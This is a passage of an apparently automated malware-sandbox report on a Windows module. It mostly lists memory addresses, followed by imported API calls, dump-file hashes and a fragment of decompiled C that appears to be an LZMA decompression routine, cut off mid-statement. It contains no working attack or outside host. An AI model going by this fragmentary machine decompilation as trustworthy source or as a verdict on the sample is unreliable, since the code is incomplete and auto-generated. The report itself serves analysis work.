                                                                                                        0x6fc71ab2
                                                                                                        0x6fc71ab4
                                                                                                        0x6fc71ab7
                                                                                                        0x6fc71aba
                                                                                                        0x6fc71abf
                                                                                                        0x6fc71ac2
                                                                                                        0x6fc71aca
                                                                                                        0x6fc71ad2
                                                                                                        0x6fc71ad4
                                                                                                        0x6fc71ad7
                                                                                                        0x6fc71adf
                                                                                                        0x6fc71adf
                                                                                                        0x6fc71ae4
                                                                                                        0x6fc71ae7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71af1
                                                                                                        0x6fc71af3
                                                                                                        0x6fc71af8
                                                                                                        0x6fc71afa
                                                                                                        0x6fc71b8b
                                                                                                        0x6fc71b8b
                                                                                                        0x6fc71b8b
                                                                                                        0x6fc71b8f
                                                                                                        0x6fc71b92
                                                                                                        0x6fc71b94
                                                                                                        0x6fc71bb6
                                                                                                        0x6fc71bb9
                                                                                                        0x6fc71bbb
                                                                                                        0x6fc71bc4
                                                                                                        0x6fc71bca
                                                                                                        0x6fc71bcc
                                                                                                        0x6fc71bd2
                                                                                                        0x6fc71bd2
                                                                                                        0x6fc71bd8
                                                                                                        0x6fc71bdb
                                                                                                        0x6fc71bdb
                                                                                                        0x6fc71bde
                                                                                                        0x6fc71bde
                                                                                                        0x6fc71be4
                                                                                                        0x6fc71be6
                                                                                                        0x6fc71be9
                                                                                                        0x6fc71bef
                                                                                                        0x6fc71bf2
                                                                                                        0x6fc71bf2
                                                                                                        0x6fc71bf4
                                                                                                        0x6fc71bfa
                                                                                                        0x6fc71bfd
                                                                                                        0x6fc71c21
                                                                                                        0x6fc71c24
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71c27
                                                                                                        0x6fc71c29
                                                                                                        0x6fc71c37
                                                                                                        0x6fc71c3a
                                                                                                        0x6fc71c3c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71c3e
                                                                                                        0x6fc71c3e
                                                                                                        0x6fc71c3e
                                                                                                        0x6fc71c44
                                                                                                        0x6fc71c46
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71c48
                                                                                                        0x6fc71c4a
                                                                                                        0x6fc71c4c
                                                                                                        0x6fc71c4e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71c4e
                                                                                                        0x6fc71c50
                                                                                                        0x6fc71c52
                                                                                                        0x6fc71c54
                                                                                                        0x6fc71c54
                                                                                                        0x6fc71c5a
                                                                                                        0x6fc71c60
                                                                                                        0x6fc71c62
                                                                                                        0x6fc71c76
                                                                                                        0x6fc71c76
                                                                                                        0x6fc71c78
                                                                                                        0x6fc71c64
                                                                                                        0x6fc71c6a
                                                                                                        0x6fc71c6d
                                                                                                        0x6fc71c6d
                                                                                                        0x00000000
                                                                                                        0x6fc71bff
                                                                                                        0x6fc71bff
                                                                                                        0x6fc71bff
                                                                                                        0x6fc71c00
                                                                                                        0x6fc71c08
                                                                                                        0x6fc71c0c
                                                                                                        0x6fc71c12
                                                                                                        0x6fc71c16
                                                                                                        0x00000000
                                                                                                        0x6fc71c16
                                                                                                        0x6fc71c02
                                                                                                        0x6fc71c02
                                                                                                        0x6fc71c03
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71c05
                                                                                                        0x6fc71c06
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71c06
                                                                                                        0x6fc71b96
                                                                                                        0x6fc71b97
                                                                                                        0x6fc71ba0
                                                                                                        0x6fc71ba3
                                                                                                        0x6fc71bb0
                                                                                                        0x6fc71bb0
                                                                                                        0x6fc71ba5
                                                                                                        0x6fc71ba5
                                                                                                        0x6fc71c7e
                                                                                                        0x6fc71c81
                                                                                                        0x6fc71c84
                                                                                                        0x6fc71cf6
                                                                                                        0x6fc71cfa
                                                                                                        0x6fc71adc
                                                                                                        0x00000000
                                                                                                        0x6fc71adc
                                                                                                        0x00000000
                                                                                                        0x6fc71cfa
                                                                                                        0x6fc71b94
                                                                                                        0x6fc71b00
                                                                                                        0x6fc71b03
                                                                                                        0x6fc71b66
                                                                                                        0x6fc71b69
                                                                                                        0x6fc71b7a
                                                                                                        0x6fc71b7a
                                                                                                        0x6fc71b7d
                                                                                                        0x6fc71c89
                                                                                                        0x6fc71c8c
                                                                                                        0x6fc71c8c
                                                                                                        0x6fc71c8e
                                                                                                        0x6fc72033
                                                                                                        0x6fc72045
                                                                                                        0x6fc72045
                                                                                                        0x6fc72047
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72037
                                                                                                        0x6fc72038
                                                                                                        0x6fc7203b
                                                                                                        0x6fc7203e
                                                                                                        0x6fc720ba
                                                                                                        0x6fc720c1
                                                                                                        0x6fc720c6
                                                                                                        0x6fc720c9
                                                                                                        0x6fc71cf2
                                                                                                        0x6fc71cf2
                                                                                                        0x6fc71cf2
                                                                                                        0x6fc71cf3
                                                                                                        0x00000000
                                                                                                        0x6fc71cf3
                                                                                                        0x6fc72040
                                                                                                        0x6fc72042
                                                                                                        0x6fc72042
                                                                                                        0x6fc72049
                                                                                                        0x6fc7204b
                                                                                                        0x6fc720ae
                                                                                                        0x6fc71ce7
                                                                                                        0x6fc71cea
                                                                                                        0x6fc71ced
                                                                                                        0x6fc71cf0
                                                                                                        0x6fc71cf0
                                                                                                        0x00000000
                                                                                                        0x6fc71cf0
                                                                                                        0x6fc7204d
                                                                                                        0x6fc7204f
                                                                                                        0x6fc72055
                                                                                                        0x6fc72055
                                                                                                        0x6fc72057
                                                                                                        0x6fc7205a
                                                                                                        0x6fc7206d
                                                                                                        0x6fc7206d
                                                                                                        0x6fc72070
                                                                                                        0x6fc72073
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72075
                                                                                                        0x6fc72078
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7207a
                                                                                                        0x6fc72081
                                                                                                        0x6fc72081
                                                                                                        0x6fc72087
                                                                                                        0x6fc7208a
                                                                                                        0x6fc720a6
                                                                                                        0x6fc7208c
                                                                                                        0x6fc72095
                                                                                                        0x6fc72098
                                                                                                        0x6fc72098
                                                                                                        0x00000000
                                                                                                        0x6fc7208a
                                                                                                        0x6fc7205c
                                                                                                        0x6fc7205f
                                                                                                        0x6fc72062
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72064
                                                                                                        0x00000000
                                                                                                        0x6fc72064
                                                                                                        0x6fc72051
                                                                                                        0x6fc72053
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72053
                                                                                                        0x6fc71c94
                                                                                                        0x6fc71c94
                                                                                                        0x6fc71c95
                                                                                                        0x6fc71dde
                                                                                                        0x6fc71dde
                                                                                                        0x6fc71de5
                                                                                                        0x6fc71de8
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71df5
                                                                                                        0x00000000
                                                                                                        0x6fc71fdb
                                                                                                        0x6fc71fde
                                                                                                        0x6fc71fe1
                                                                                                        0x6fc71fe1
                                                                                                        0x6fc71fe2
                                                                                                        0x6fc71fe5
                                                                                                        0x6fc71fe7
                                                                                                        0x6fc71fe9
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71feb
                                                                                                        0x6fc71feb
                                                                                                        0x6fc71fee
                                                                                                        0x6fc72000
                                                                                                        0x6fc72003
                                                                                                        0x6fc72006
                                                                                                        0x6fc7200c
                                                                                                        0x00000000
                                                                                                        0x6fc7200c
                                                                                                        0x6fc71ff0
                                                                                                        0x6fc71ff0
                                                                                                        0x6fc71ff2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71ff4
                                                                                                        0x6fc71ff6
                                                                                                        0x6fc71ff8
                                                                                                        0x6fc71ff8
                                                                                                        0x6fc71ff8
                                                                                                        0x6fc71ff9
                                                                                                        0x6fc71ffb
                                                                                                        0x6fc71ffd
                                                                                                        0x6fc71fe1
                                                                                                        0x6fc71fe2
                                                                                                        0x6fc71fe5
                                                                                                        0x6fc71fe7
                                                                                                        0x6fc71fe9
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71fe9
                                                                                                        0x00000000
                                                                                                        0x6fc71e3c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71e48
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71e2f
                                                                                                        0x6fc71e33
                                                                                                        0x6fc71e37
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71fad
                                                                                                        0x6fc71fb1
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71fb7
                                                                                                        0x6fc71fbf
                                                                                                        0x6fc71fc6
                                                                                                        0x6fc71fce
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f15
                                                                                                        0x6fc71f15
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71e51
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7202b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f1d
                                                                                                        0x6fc71f1f
                                                                                                        0x6fc71f1f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7201b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7201f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72027
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f64
                                                                                                        0x6fc71f66
                                                                                                        0x6fc71f66
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f2f
                                                                                                        0x6fc71f31
                                                                                                        0x6fc71f31
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f41
                                                                                                        0x6fc71f43
                                                                                                        0x6fc71f43
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f72
                                                                                                        0x6fc71f74
                                                                                                        0x6fc71f74
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f4c
                                                                                                        0x6fc71f4e
                                                                                                        0x6fc71f4e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f53
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72023
                                                                                                        0x6fc7202d
                                                                                                        0x6fc7202d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f7d
                                                                                                        0x6fc71f81
                                                                                                        0x6fc71f86
                                                                                                        0x6fc71f89
                                                                                                        0x6fc71f8a
                                                                                                        0x6fc71f8d
                                                                                                        0x6fc71f93
                                                                                                        0x6fc71f93
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72013
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f57
                                                                                                        0x6fc71f57
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71e58
                                                                                                        0x6fc71e58
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f6b
                                                                                                        0x6fc71f6d
                                                                                                        0x6fc71f6d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71dfc
                                                                                                        0x6fc71e02
                                                                                                        0x6fc71e05
                                                                                                        0x6fc71e07
                                                                                                        0x6fc71e07
                                                                                                        0x6fc71e0a
                                                                                                        0x6fc71e0e
                                                                                                        0x6fc71e1b
                                                                                                        0x6fc71e1d
                                                                                                        0x6fc71e23
                                                                                                        0x6fc71e23
                                                                                                        0x6fc71e23
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f20
                                                                                                        0x6fc71f20
                                                                                                        0x6fc71f22
                                                                                                        0x6fc71f29
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f67
                                                                                                        0x6fc71f67
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f32
                                                                                                        0x6fc71f32
                                                                                                        0x6fc71f34
                                                                                                        0x6fc71f3b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f44
                                                                                                        0x6fc71f44
                                                                                                        0x6fc71f46
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f75
                                                                                                        0x6fc71f75
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f4f
                                                                                                        0x6fc71f4f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f9b
                                                                                                        0x6fc71f9f
                                                                                                        0x6fc71fa4
                                                                                                        0x6fc71fa7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f59
                                                                                                        0x6fc71f59
                                                                                                        0x6fc71f5c
                                                                                                        0x6fc71f5e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71f6e
                                                                                                        0x6fc71f6e
                                                                                                        0x6fc71f77
                                                                                                        0x6fc71f77
                                                                                                        0x6fc71e5a
                                                                                                        0x6fc71e5a
                                                                                                        0x6fc71e5d
                                                                                                        0x6fc71e64
                                                                                                        0x6fc71e66
                                                                                                        0x6fc71e68
                                                                                                        0x6fc71e6f
                                                                                                        0x6fc71e72
                                                                                                        0x6fc71e77
                                                                                                        0x6fc71e79
                                                                                                        0x6fc71e7b
                                                                                                        0x6fc71e7f
                                                                                                        0x6fc71e85
                                                                                                        0x6fc71e8b
                                                                                                        0x6fc71e8b
                                                                                                        0x6fc71e8d
                                                                                                        0x6fc71e8d
                                                                                                        0x6fc71e8e
                                                                                                        0x6fc71e8e
                                                                                                        0x6fc71e92
                                                                                                        0x6fc71e98
                                                                                                        0x6fc71e9a
                                                                                                        0x6fc71e9e
                                                                                                        0x6fc71ea3
                                                                                                        0x6fc71ea3
                                                                                                        0x6fc71ea5
                                                                                                        0x6fc71ea5
                                                                                                        0x6fc71ea8
                                                                                                        0x6fc71eab
                                                                                                        0x6fc71eb4
                                                                                                        0x6fc71eb7
                                                                                                        0x6fc71eba
                                                                                                        0x6fc71eba
                                                                                                        0x6fc71ebc
                                                                                                        0x6fc71ebf
                                                                                                        0x6fc71ec5
                                                                                                        0x6fc71ecb
                                                                                                        0x6fc71ecb
                                                                                                        0x6fc71ecd
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71ed3
                                                                                                        0x6fc71ed3
                                                                                                        0x6fc71ed7
                                                                                                        0x6fc71ede
                                                                                                        0x6fc71f02
                                                                                                        0x6fc71f02
                                                                                                        0x6fc71f06
                                                                                                        0x6fc71f08
                                                                                                        0x6fc71f0b
                                                                                                        0x6fc71f0b
                                                                                                        0x6fc71f0e
                                                                                                        0x6fc71f0e
                                                                                                        0x00000000
                                                                                                        0x6fc71f06
                                                                                                        0x6fc71ee3
                                                                                                        0x6fc71ee6
                                                                                                        0x6fc71ee6
                                                                                                        0x6fc71eed
                                                                                                        0x6fc71eef
                                                                                                        0x6fc71ef2
                                                                                                        0x6fc71ef9
                                                                                                        0x6fc71efa
                                                                                                        0x6fc71f00
                                                                                                        0x6fc71f00
                                                                                                        0x00000000
                                                                                                        0x6fc71f00
                                                                                                        0x6fc71ef4
                                                                                                        0x6fc71ef7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71ef7
                                                                                                        0x6fc71e87
                                                                                                        0x6fc71e89
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71df5
                                                                                                        0x6fc71c9b
                                                                                                        0x6fc71c9b
                                                                                                        0x6fc71c9c
                                                                                                        0x6fc71ddb
                                                                                                        0x00000000
                                                                                                        0x6fc71ddb
                                                                                                        0x6fc71ca2
                                                                                                        0x6fc71ca3
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71ca9
                                                                                                        0x6fc71cac
                                                                                                        0x6fc71da0
                                                                                                        0x6fc71da0
                                                                                                        0x6fc71da3
                                                                                                        0x6fc71db8
                                                                                                        0x6fc71dba
                                                                                                        0x6fc71dba
                                                                                                        0x6fc71dbb
                                                                                                        0x6fc71dbe
                                                                                                        0x6fc71dc1
                                                                                                        0x6fc71dcd
                                                                                                        0x6fc71dcd
                                                                                                        0x6fc71dcd
                                                                                                        0x6fc71dc3
                                                                                                        0x6fc71dc3
                                                                                                        0x6fc71dc3
                                                                                                        0x6fc71dd3
                                                                                                        0x00000000
                                                                                                        0x6fc71dd3
                                                                                                        0x6fc71da5
                                                                                                        0x6fc71da5
                                                                                                        0x6fc71da6
                                                                                                        0x6fc71db4
                                                                                                        0x00000000
                                                                                                        0x6fc71db4
                                                                                                        0x6fc71da9
                                                                                                        0x6fc71daa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71db0
                                                                                                        0x00000000
                                                                                                        0x6fc71db0
                                                                                                        0x6fc71cb2
                                                                                                        0x6fc71d9c
                                                                                                        0x00000000
                                                                                                        0x6fc71d9c
                                                                                                        0x6fc71cb8
                                                                                                        0x6fc71cb8
                                                                                                        0x6fc71cbb
                                                                                                        0x6fc71ce4
                                                                                                        0x00000000
                                                                                                        0x6fc71ce4
                                                                                                        0x6fc71cbd
                                                                                                        0x6fc71cbd
                                                                                                        0x6fc71cc0
                                                                                                        0x6fc71cda
                                                                                                        0x00000000
                                                                                                        0x6fc71cda
                                                                                                        0x6fc71cc2
                                                                                                        0x6fc71cc2
                                                                                                        0x6fc71cc5
                                                                                                        0x6fc71cd4
                                                                                                        0x00000000
                                                                                                        0x6fc71cd4
                                                                                                        0x6fc71cc8
                                                                                                        0x6fc71cc9
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71ccb
                                                                                                        0x00000000
                                                                                                        0x6fc71b83
                                                                                                        0x6fc71b83
                                                                                                        0x6fc71b86
                                                                                                        0x00000000
                                                                                                        0x6fc71b86
                                                                                                        0x6fc71b7d
                                                                                                        0x6fc71b6b
                                                                                                        0x6fc71b6f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71b71
                                                                                                        0x6fc71b74
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71b74
                                                                                                        0x6fc71b05
                                                                                                        0x6fc71b08
                                                                                                        0x6fc71b3e
                                                                                                        0x6fc71b41
                                                                                                        0x00000000
                                                                                                        0x6fc71b47
                                                                                                        0x6fc71b49
                                                                                                        0x6fc71b4d
                                                                                                        0x6fc71b54
                                                                                                        0x6fc71b5b
                                                                                                        0x6fc71b5e
                                                                                                        0x6fc71b61
                                                                                                        0x00000000
                                                                                                        0x6fc71b61
                                                                                                        0x6fc71b41
                                                                                                        0x6fc71b0a
                                                                                                        0x6fc71b0b
                                                                                                        0x6fc71b26
                                                                                                        0x6fc71b29
                                                                                                        0x00000000
                                                                                                        0x6fc71b2f
                                                                                                        0x6fc71b2f
                                                                                                        0x6fc71b36
                                                                                                        0x6fc71b39
                                                                                                        0x00000000
                                                                                                        0x6fc71b39
                                                                                                        0x6fc71b29
                                                                                                        0x6fc71b10
                                                                                                        0x00000000
                                                                                                        0x6fc71b16
                                                                                                        0x6fc71b16
                                                                                                        0x6fc71b1d
                                                                                                        0x00000000
                                                                                                        0x6fc71b1d
                                                                                                        0x6fc71b10
                                                                                                        0x6fc71d09
                                                                                                        0x6fc71d0e
                                                                                                        0x6fc71d13
                                                                                                        0x6fc71d17
                                                                                                        0x6fc721c6
                                                                                                        0x6fc721cc
                                                                                                        0x6fc71d29
                                                                                                        0x6fc71d2b
                                                                                                        0x6fc71d2c
                                                                                                        0x6fc720f1
                                                                                                        0x6fc720f1
                                                                                                        0x6fc720f4
                                                                                                        0x6fc720f7
                                                                                                        0x6fc72114
                                                                                                        0x6fc7211a
                                                                                                        0x6fc7211c
                                                                                                        0x6fc72122
                                                                                                        0x6fc72139
                                                                                                        0x6fc72139
                                                                                                        0x6fc72139
                                                                                                        0x6fc72146
                                                                                                        0x6fc7214c
                                                                                                        0x6fc7214f
                                                                                                        0x6fc72155
                                                                                                        0x6fc72157
                                                                                                        0x6fc7215a
                                                                                                        0x6fc7215c
                                                                                                        0x6fc72163
                                                                                                        0x6fc72168
                                                                                                        0x6fc7216b
                                                                                                        0x6fc7216d
                                                                                                        0x6fc72172
                                                                                                        0x6fc72184
                                                                                                        0x6fc72184
                                                                                                        0x6fc72172
                                                                                                        0x6fc7216b
                                                                                                        0x6fc7215a
                                                                                                        0x6fc7218a
                                                                                                        0x6fc7218d
                                                                                                        0x6fc72197
                                                                                                        0x6fc7219f
                                                                                                        0x6fc721ab
                                                                                                        0x6fc721b1
                                                                                                        0x6fc721b4
                                                                                                        0x6fc720e6
                                                                                                        0x6fc720e6
                                                                                                        0x00000000
                                                                                                        0x6fc720e6
                                                                                                        0x6fc721ba
                                                                                                        0x6fc721c0
                                                                                                        0x6fc721c0
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc721c2
                                                                                                        0x6fc721c2
                                                                                                        0x6fc721c2
                                                                                                        0x6fc721c2
                                                                                                        0x00000000
                                                                                                        0x6fc7218f
                                                                                                        0x6fc7218f
                                                                                                        0x6fc72195
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72195
                                                                                                        0x6fc7218d
                                                                                                        0x6fc72125
                                                                                                        0x6fc7212b
                                                                                                        0x6fc7212d
                                                                                                        0x6fc72133
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72133
                                                                                                        0x6fc720f9
                                                                                                        0x6fc72100
                                                                                                        0x6fc72106
                                                                                                        0x6fc7210c
                                                                                                        0x00000000
                                                                                                        0x6fc7210c
                                                                                                        0x6fc71d32
                                                                                                        0x6fc71d33
                                                                                                        0x6fc720d0
                                                                                                        0x6fc720d0
                                                                                                        0x6fc720d6
                                                                                                        0x6fc720d9
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc720e0
                                                                                                        0x6fc720e5
                                                                                                        0x00000000
                                                                                                        0x6fc720e5
                                                                                                        0x6fc71d3a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71d40
                                                                                                        0x6fc71d40
                                                                                                        0x6fc71d49
                                                                                                        0x6fc71d4e
                                                                                                        0x6fc71d54
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71d5a
                                                                                                        0x6fc71d67
                                                                                                        0x6fc71d6d
                                                                                                        0x6fc71d77
                                                                                                        0x6fc71d7d
                                                                                                        0x6fc71d85
                                                                                                        0x6fc71d95
                                                                                                        0x00000000
                                                                                                        0x6fc71d95

                                                                                                        APIs
                                                                                                          • Part of subcall function 6FC71215: GlobalAlloc.KERNEL32(00000040,6FC71233,?,6FC712CF,-6FC7404B,6FC711AB,-000000A0), ref: 6FC7121D
                                                                                                        • GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 6FC71BC4
                                                                                                        • lstrcpyA.KERNEL32(00000008,?), ref: 6FC71C0C
                                                                                                        • lstrcpyA.KERNEL32(00000408,?), ref: 6FC71C16
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC71C29
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC71D09
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC71D0E
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC71D13
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC71EFA
                                                                                                        • lstrcpyA.KERNEL32(?,?), ref: 6FC72098
                                                                                                        • GetModuleHandleA.KERNEL32(00000008), ref: 6FC72114
                                                                                                        • LoadLibraryA.KERNEL32(00000008), ref: 6FC72125
                                                                                                        • GetProcAddress.KERNEL32(?,?), ref: 6FC7217E
                                                                                                        • lstrlenA.KERNEL32(00000408), ref: 6FC72198
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
                                                                                                        • String ID:
                                                                                                        • API String ID: 245916457-0
                                                                                                        • Opcode ID: f773d1cd4a72c8b953b8c917c0290b457d6c8cdc359fc90aa171b0dd88477ef2
                                                                                                        • Instruction ID: 5ff31ce1eccfbec3431aebae851a665041a6958ed8c5bfb982680dcffc26ee99
                                                                                                        • Opcode Fuzzy Hash: f773d1cd4a72c8b953b8c917c0290b457d6c8cdc359fc90aa171b0dd88477ef2
                                                                                                        • Instruction Fuzzy Hash: 4C227C7190464A9FDB308FBD89A47EDBBF4FF06314F20462AD1A5A6180EF746A85CF50
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E00406131() {
                                                                                                        				unsigned short _t531;
                                                                                                        				signed int _t532;
                                                                                                        				void _t533;
                                                                                                        				void* _t534;
                                                                                                        				signed int _t535;
                                                                                                        				signed int _t565;
                                                                                                        				signed int _t568;
                                                                                                        				signed int _t590;
                                                                                                        				signed int* _t607;
                                                                                                        				void* _t614;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					if( *(_t614 - 0x40) != 0) {
                                                                                                        						 *(_t614 - 0x34) = 1;
                                                                                                        						 *(_t614 - 0x84) = 7;
                                                                                                        						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
                                                                                                        						L132:
                                                                                                        						 *(_t614 - 0x54) = _t607;
                                                                                                        						L133:
                                                                                                        						_t531 =  *_t607;
                                                                                                        						_t590 = _t531 & 0x0000ffff;
                                                                                                        						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
                                                                                                        						if( *(_t614 - 0xc) >= _t565) {
                                                                                                        							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
                                                                                                        							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
                                                                                                        							 *(_t614 - 0x40) = 1;
                                                                                                        							_t532 = _t531 - (_t531 >> 5);
                                                                                                        							 *_t607 = _t532;
                                                                                                        						} else {
                                                                                                        							 *(_t614 - 0x10) = _t565;
                                                                                                        							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                                                                                        							 *_t607 = (0x800 - _t590 >> 5) + _t531;
                                                                                                        						}
                                                                                                        						if( *(_t614 - 0x10) >= 0x1000000) {
                                                                                                        							L139:
                                                                                                        							_t533 =  *(_t614 - 0x84);
                                                                                                        							L140:
                                                                                                        							 *(_t614 - 0x88) = _t533;
                                                                                                        							goto L1;
                                                                                                        						} else {
                                                                                                        							L137:
                                                                                                        							if( *(_t614 - 0x6c) == 0) {
                                                                                                        								 *(_t614 - 0x88) = 5;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
                                                                                                        							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                                        							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                                                                        							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                                                                                        							goto L139;
                                                                                                        						}
                                                                                                        					} else {
                                                                                                        						__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        						__esi =  *(__ebp - 0x60);
                                                                                                        						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        						__ecx =  *(__ebp - 0x3c);
                                                                                                        						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        						__ecx =  *(__ebp - 4);
                                                                                                        						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
